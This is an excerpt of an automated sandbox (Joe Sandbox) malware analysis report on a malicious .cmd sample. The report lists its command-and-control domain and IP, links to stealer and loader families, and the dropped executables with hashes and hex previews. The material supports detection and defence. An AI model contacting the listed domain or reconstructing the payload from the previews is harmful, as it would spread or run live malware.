            https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEPkn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.drfalse
            • Avira URL Cloud: safe
            		unknown
            https://login.microsoftonline.com/%s/oauth2/authorizekn.exefalse
              		high
              https://swamfoxinnc.com:443/233_Svcrhpjadgyspoolsv.COM, 00000009.00000002.2463208241.00000000005D6000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://login.microsoftonline.com/%s/oauth2/tokenkn.exefalse
                		high
                https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatahkn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.drfalse
                  		high
                  https://swamfoxinnc.com/dspoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.000000000053F000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://swamfoxinnc.com/233_SvcrhpjadgyBSX9S-spoolsv.COM, 00000009.00000002.2463208241.0000000000587000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://swamfoxinnc.com/233_SvcrhpjadgyF)spoolsv.COM, 00000009.00000003.1917475501.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882525164.00000000005F9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.00000000005F7000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://swamfoxinnc.com/233_Svcrspoolsv.COM, 00000009.00000002.2478928383.00000000207F3000.00000004.00001000.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2478928383.000000002089D000.00000004.00001000.00020000.00000000.sdmptrue
                  • Avira URL Cloud: safe
                  		unknown
                  https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svckn.exefalse
                    		high
                    https://www.aapanel.com/new/download.html?invite_code=aapanelespoolsv.COM, 00000009.00000003.1810662401.0000000021555000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1915371954.0000000021590000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844407032.0000000021575000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1880419222.00000000215AC000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1812685797.0000000000601000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2480257189.0000000021550000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1917379923.000000000060F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844555436.00000000215C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1812685797.0000000000612000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844555436.0000000021575000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882477795.000000000060F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1778039383.0000000000614000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1810750460.0000000000610000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1915371954.00000000215C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2478928383.00000000207F3000.00000004.00001000.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1775999853.0000000021551000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844743796.00000000215C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844489071.00000000215AC000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1778039383.0000000000612000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2480257189.000000002155C000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1844489071.0000000021590000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      http://upx.sf.netAmcache.hve.17.drfalse
                        		high
                        https://swamfoxinnc.com/233_Svcrhpjadgyvfspoolsv.COM, 00000009.00000002.2463208241.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1846816428.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1917475501.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882525164.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1812755723.00000000005DB000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://swamfoxinnc.com/233_Svcrhpjadgy8)spoolsv.COM, 00000009.00000003.1812755723.00000000005F7000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://swamfoxinnc.com/233_SvcrhpjadgyBSX9Sspoolsv.COM, 00000009.00000002.2463208241.0000000000587000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://swamfoxinnc.com/4?spoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://%ws/%ws_%ws_%ws/service.svc/%wskn.exefalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://enterpriseregistration.windows.net/EnrollmentServer/device/kn.exefalse
                          		high
                          https://swamfoxinnc.com/233_SvcrhpjadgyWspoolsv.COM, 00000009.00000002.2463208241.0000000000587000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://enterpriseregistration.windows.net/EnrollmentServer/key/kn.exefalse
                            		high
                            https://swamfoxinnc.com/rxspoolsv.COM, 00000009.00000003.1812755723.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1917475501.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1882525164.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1846816428.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://swamfoxinnc.com/233_Svcrhpjadgyn):spoolsv.COM, 00000009.00000002.2463208241.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000003.1846816428.00000000005F7000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            176.123.5.143
                            		swamfoxinnc.comMoldova Republic of
                            		200019ALEXHOSTMDtrue

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1578216
                            Start date and time:2024-12-19 12:38:16 +01:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 8m 2s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:19
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:Svcrhpjadgyclc.cmd
                            Detection:MAL
                            Classification:mal100.bank.troj.evad.winCMD@23/16@1/1
                            EGA Information:
                            • Successful, ratio: 100%
                            HCA Information:
                            • Successful, ratio: 100%
                            • Number of executed functions: 59
                            • Number of non-executed functions: 211
                            Cookbook Comments:
                            • Found application associated with file extension: .cmd

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                            • Excluded IPs from analysis (whitelisted): 20.189.173.22, 20.12.23.50, 20.190.147.1, 13.107.246.63
                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
                            • Not all processes where analyzed, report is missing behavior information
                            • Report creation exceeded maximum time and may have missing disassembly code information.
                            • Report size exceeded maximum capacity and may have missing behavior information.
                            • Report size exceeded maximum capacity and may have missing disassembly code.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryAttributesFile calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.
                            • Report size getting too big, too many NtSetInformationFile calls found.

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            06:39:15API Interceptor6x Sleep call for process: spoolsv.COM modified
                            06:40:27API Interceptor1x Sleep call for process: WerFault.exe modified

                            Joe Sandbox View / Context

                            IPs

                            ⊘No context

                            Domains

                            ⊘No context

                            ASNs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            ALEXHOSTMDarmv6l.elfGet hashmaliciousUnknownBrowse
                            • 45.84.8.182
                            NLRpif3sEB.exeGet hashmaliciousUnknownBrowse
                            • 213.226.100.197
                            NLRpif3sEB.exeGet hashmaliciousUnknownBrowse
                            • 213.226.100.197
                            sora.sh4.elfGet hashmaliciousMiraiBrowse
                            • 176.123.5.14
                            http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jpGet hashmaliciousHTMLPhisherBrowse
                            • 91.208.197.216
                            2024-11 eStmt 5563019.exeGet hashmaliciousScreenConnect ToolBrowse
                            • 176.123.1.130
                            otis.exeGet hashmaliciousUnknownBrowse
                            • 91.132.92.231
                            otis.exeGet hashmaliciousUnknownBrowse
                            • 91.132.92.231
                            armv5l.elfGet hashmaliciousGafgyt, MiraiBrowse
                            • 91.208.162.247
                            mips.elfGet hashmaliciousGafgyt, MiraiBrowse
                            • 91.208.162.247

                            JA3 Fingerprints

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            a0e9f5d64349fb13191bc781f81f42e1file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, XmrigBrowse
                            • 176.123.5.143
                            file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, VidarBrowse
                            • 176.123.5.143
                            MFQbv2Yuzv.exeGet hashmaliciousLummaC, StealcBrowse
                            • 176.123.5.143
                            Y41xQGmT37.exeGet hashmaliciousLummaC, StealcBrowse
                            • 176.123.5.143
                            O3u9C8cpzl.exeGet hashmaliciousLummaC, StealcBrowse
                            • 176.123.5.143
                            niwvNnBk2p.exeGet hashmaliciousLummaC, StealcBrowse
                            • 176.123.5.143
                            661fW9gxDp.exeGet hashmaliciousLummaCBrowse
                            • 176.123.5.143
                            S6oj0LoSiL.exeGet hashmaliciousLummaCBrowse
                            • 176.123.5.143
                            SEPTobn3BR.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                            • 176.123.5.143
                            Delivery Confirmation Forms - Contact Form TS4047117 pdf.exeGet hashmaliciousDBatLoader, FormBookBrowse
                            • 176.123.5.143

                            Dropped Files

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            C:\Users\Public\alpha.exeF.O Pump Istek,Docx.batGet hashmaliciousDBatLoader, PureLog Stealer, Snake KeyloggerBrowse
                              1x40 CONTAINER.PDF-.batGet hashmaliciousUnknownBrowse
                                1x40 CONTAINER.PDF-.batGet hashmaliciousUnknownBrowse
                                  saw.batGet hashmaliciousRemcos, DBatLoaderBrowse
                                    A1 igazol#U00e1s.cmdGet hashmaliciousDBatLoader, FormBookBrowse
                                      Documentazione_Doganale_richieste_di_copia.cmdGet hashmaliciousDBatLoaderBrowse
                                        78326473_PDF.cmdGet hashmaliciousDBatLoaderBrowse
                                          iuhmzvlH.cmdGet hashmaliciousUnknownBrowse
                                            USD470900_COPY_800BLHSBC882001.PDF.batGet hashmaliciousRemcos, DBatLoaderBrowse
                                              Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmdGet hashmaliciousAgentTesla, DBatLoader, PureLog StealerBrowse

                                                Created / dropped Files

                                                C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_spoolsv.COM_23799b85b04ea52acc91698859bbee1a943bf656_7707c8da_b026925b-3c0e-456e-af2b-f56d36bd51b3\Report.wer

                                                Download File
                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                Category:dropped
                                                Size (bytes):65536
                                                Entropy (8bit):1.0931134910558558
                                                Encrypted:false
                                                SSDEEP:192:AT1rliB5iRb0BU/4jJHyfWidzuiFmZ24IO8I:arlk5iRoBU/4j+dzuiFmY4IO8I
                                                MD5:259FB165FEA0E37DA460099D8205BED4
                                                SHA1:675E5ED006D6E143C708E3292D8F47E67022C501
                                                SHA-256:E4F2A72696731758DA38FE46A0EA460DAC1EDC8D08C85DC8DFE65A237D8742B6
                                                SHA-512:A238682EBE42F2259F1B6529FAD167632438C88B685AC4EEDED2DD45BD0DA3DD6B068347E823AC198709567D39A1332BFA4D8C5F720E13B3AF019235416C9B2B
                                                Malicious:false
                                                Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.0.8.2.0.0.4.8.0.2.4.4.0.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.0.8.2.0.0.5.3.9.2.4.4.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.0.2.6.9.2.5.b.-.3.c.0.e.-.4.5.6.e.-.a.f.2.b.-.f.5.6.d.3.6.b.d.5.1.b.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.b.0.b.d.e.a.5.-.a.4.f.e.-.4.f.f.b.-.8.5.5.c.-.e.8.2.b.4.1.5.a.3.2.4.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.p.o.o.l.s.v...C.O.M.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.9.4.-.0.0.0.1.-.0.0.1.4.-.d.5.5.7.-.6.c.a.1.0.a.5.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.4.7.a.0.0.c.0.e.7.1.0.6.4.4.9.1.1.9.1.1.b.0.d.6.3.4.b.e.f.8.f.0.0.0.0.f.f.f.f.!.0.0.0.0.6.d.5.5.6.6.c.d.d.f.b.4.b.9.9.e.8.2.a.6.b.a.b.d.b.d.4.5.3.6.a.2.4.e.8.f.6.f.7.3.!.s.p.o.o.l.s.v...C.O.M.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.

                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WERF351.tmp.dmp

                                                Download File
                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                File Type:Mini DuMP crash report, 15 streams, Thu Dec 19 11:40:05 2024, 0x1205a4 type
                                                Category:dropped
                                                Size (bytes):143420
                                                Entropy (8bit):2.0463963656703386
                                                Encrypted:false
                                                SSDEEP:384:EVqGYxeIgaJ3hAfpf4DycdDrK9s97oKAmQHZyRA0Xvl3pt7nTis4:EwzwbyRAfVUy+Cw0LAP/pTiZ
                                                MD5:F67C61ADD570ECFBF6E83B1CF1D09967
                                                SHA1:C901DDF5E9C1B52BE7DAE7F76F931CB981DF4054
                                                SHA-256:EF0DC534E2AA65E5FE7E10316AE72F699CA312AAA4CD8C33D5F963D2E1E67488
                                                SHA-512:B15173D3F3683E567409F646BF6CF19C363B135ECA1C129815D547066587BBFDFF5A8D8EC4DEBF6ED475FD7F712F12D033478A904B90EDD5B3FA6AAAE462CE34
                                                Malicious:false
                                                Preview:MDMP..a..... .........dg........................ ................&...........f..........`.......8...........T............T...............,..........................................................................................eJ......h/......GenuineIntel............T.............dg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WERF48B.tmp.WERInternalMetadata.xml

                                                Download File
                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                Category:dropped
                                                Size (bytes):8284
                                                Entropy (8bit):3.6924062047490716
                                                Encrypted:false
                                                SSDEEP:192:R6l7wVeJvO6Yj6YbyS8gmfT4cu/pr+89bkLsforMm:R6lXJW6Yj6YOS8gmfT4culkQfu
                                                MD5:CD21DF63E0490DA22D410E965A275FBF
                                                SHA1:5A91A58239D42361624FD924B23AA7CE8385D915
                                                SHA-256:E4088D95D6F1C6F5A14C1C36F48C138D294477B91079B2D80504D59CA43BF343
                                                SHA-512:8A616F18C657527762919E2319F05D72AE419757003CA1752120B1852007ABA26ED23461FFA7679580AC6931B1B748AEC3AC6CAC4D8A735290B621082C53EEDE
                                                Malicious:false
                                                Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.8.2.8.<./.P.i.

                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WERF509.tmp.xml

                                                Download File
                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                Category:dropped
                                                Size (bytes):4580
                                                Entropy (8bit):4.463152367432174
                                                Encrypted:false
                                                SSDEEP:48:cvIwWl8zsXJg77aI9vcWpW8VY5Ym8M4JQJFYt+q8bQVMQEh2dd:uIjf5I7FV7VVJHBVMQEh2dd
                                                MD5:C25DEB683A60067A7BC1C70F90E9EF6B
                                                SHA1:72E9E1D59C10E9425E1470D7E7F2FB6501AE4791
                                                SHA-256:60C4C25EF4A462953194E98814AAEBD0A9C6A244F774EA23558272EDA12C99B0
                                                SHA-512:CE3FE711913BEE19161E8C645FBD7C0858AA5E17FB615DE264DBDB3F8BEB5044F30E39D97E9BCC16AEC4623CD5B3A8FFBE318E16779215C04226C03E2D3608CA
                                                Malicious:false
                                                Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="638082" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                C:\Users\Public\Libraries\spoolsv.COM

                                                Download File
                                                Process:C:\Users\Public\kn.exe
                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                Category:dropped
                                                Size (bytes):1019392
                                                Entropy (8bit):7.012102322841487
                                                Encrypted:false
                                                SSDEEP:24576:Mt8U4ln77mcFj7LF6iNQj0KyEB1zcwfPM6d:0wnRQj0KyEB1zcwfPMA
                                                MD5:DFD15A4158AB979660435D6F3E95A3EC
                                                SHA1:6D5566CDDFB4B99E82A6BABDBD4536A24E8F6F73
                                                SHA-256:BAA12B649FDDD77EF62ECD2B3169FAB9BB5FBE78404175485F9A7FB48DC4456D
                                                SHA-512:F33677B419F307C8970C0024E45162BC83E63141878EC2D15B59011261CB30AA412076B62B80FD4E9B99713A689C10699EA8682F67754B2569C83B22B1225E02
                                                Malicious:true
                                                Antivirus:
                                                • Antivirus: Avira, Detection: 100%
                                                • Antivirus: ReversingLabs, Detection: 55%
                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................$...f.......8.......@....@.......................... ...................@...........................P...&...............................n...................................................W...............................text............................... ..`.itext..L....0...................... ..`.data........@.......(..............@....bss.....6...............................idata...&...P...(..................@....tls....4................................rdata..............................@..@.reloc...n.......p..................@..B.rsrc...............................@..@............. ......................@..@................................................................................................

                                                C:\Users\Public\alpha.exe

                                                Download File
                                                Process:C:\Windows\System32\extrac32.exe
                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                Category:modified
                                                Size (bytes):289792
                                                Entropy (8bit):6.135598950357573
                                                Encrypted:false
                                                SSDEEP:6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
                                                MD5:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                SHA1:F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
                                                SHA-256:B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
                                                SHA-512:99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
                                                Malicious:false
                                                Antivirus:
                                                • Antivirus: ReversingLabs, Detection: 0%
                                                Joe Sandbox View:
                                                • Filename: F.O Pump Istek,Docx.bat, Detection: malicious, Browse
                                                • Filename: 1x40 CONTAINER.PDF-.bat, Detection: malicious, Browse
                                                • Filename: 1x40 CONTAINER.PDF-.bat, Detection: malicious, Browse
                                                • Filename: saw.bat, Detection: malicious, Browse
                                                • Filename: A1 igazol#U00e1s.cmd, Detection: malicious, Browse
                                                • Filename: Documentazione_Doganale_richieste_di_copia.cmd, Detection: malicious, Browse
                                                • Filename: 78326473_PDF.cmd, Detection: malicious, Browse
                                                • Filename: iuhmzvlH.cmd, Detection: malicious, Browse
                                                • Filename: USD470900_COPY_800BLHSBC882001.PDF.bat, Detection: malicious, Browse
                                                • Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd, Detection: malicious, Browse
                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

                                                C:\Users\Public\kn.exe

                                                Download File
                                                Process:C:\Windows\System32\extrac32.exe
                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                Category:modified
                                                Size (bytes):1651712
                                                Entropy (8bit):6.144018815244304
                                                Encrypted:false
                                                SSDEEP:24576:MeiElH5YZ5cv6r3HiaZQ8p4XGwiJDgN7MaikGLIsWWi4pT/Y/7hsyDAP760MKR:Me3lZYUvmSu4XTckYD0sWWiwT/MhTzK
                                                MD5:F17616EC0522FC5633151F7CAA278CAA
                                                SHA1:79890525360928A674D6AEF11F4EDE31143EEC0D
                                                SHA-256:D252235AA420B91C38BFEEC4F1C3F3434BC853D04635453648B26B2947352889
                                                SHA-512:3ED65172159CD1BCC96B5A0B41D3332DE33A631A167CE8EE8FC43F519BB3E2383A58737A41D25AA694513A68C639F0563A395CD18063975136DE1988094E9EF7
                                                Malicious:false
                                                Antivirus:
                                                • Antivirus: ReversingLabs, Detection: 0%
                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u}{h1..;1..;1..;..;0..;%w.:2..;%w.:*..;%w.:!..;%w.:...;1..;...;%w.:...;%w.;0..;%w.:0..;Rich1..;................PE..d...+. H.........."..................L.........@....................................q.....`.......... ......................................@Q.......`..@........x..............l'..p5..T...........................`(..............x)......XC.......................text............................... ..`.rdata..T...........................@..@.data....&..........................@....pdata...x.......z...|..............@..@.didat.......P......................@....rsrc...@....`......................@..@.reloc..l'.......(..................@..B........................................................................................................................................................................................................................

                                                C:\Users\Public\spoolsv.MPEG

                                                Download File
                                                Process:C:\Users\Public\kn.exe
                                                File Type:ASCII text, with very long lines (65536), with no line terminators
                                                Category:dropped
                                                Size (bytes):2038786
                                                Entropy (8bit):3.851807709819611
                                                Encrypted:false
                                                SSDEEP:24576:nTawbo9F7U7JIPcBTA/2ntge1ZGsPJmLeOg3hKFSIC09uriZeRwViOp8KB9/QTEj:k
                                                MD5:EB3C4DD5B03EB7E43016CB693C1C6820
                                                SHA1:8C3CBF8733A1642C43BB7847CCBF0338B931FB64
                                                SHA-256:AD93393E701DC0EBF905589E548FFA4A1BB894C34E70F8EE730E3FDF34158779
                                                SHA-512:0331DADCFCC4F06A38BB68C08FF1C3C60F009CCD57C3FF4C60E49090667D541D342E9DD6B01D989DCDE1091EAA21F142ED3D5A292970ABDFA58B8818FEC97A45
                                                Malicious:false
                                                Preview:4d5a50000200000004000f00ffff0000b80000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ba10000e1fb409cd21b8014ccd219090546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a243700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004c010900195e422a0000000000000000e0008e810b0102190024070000660800000000000438070000100000004007000000400000100000000200000400000000000000040000000000000000201000000400000000000002000000000010000040000000001000001000000000000010000000000000000000000000500e00b626000000100f00000401000000000000000000000000000000000000a00e008c6e000000000000000000000000000000000000000000000000000000900e0018000000000000000000000000000000000000001c570e00040600000000000000000000000000000000000000000000

                                                C:\Windows\appcompat\Programs\Amcache.hve

                                                Download File
                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                File Type:MS Windows registry file, NT/2000 or above
                                                Category:dropped
                                                Size (bytes):1835008
                                                Entropy (8bit):4.462947993692728
                                                Encrypted:false
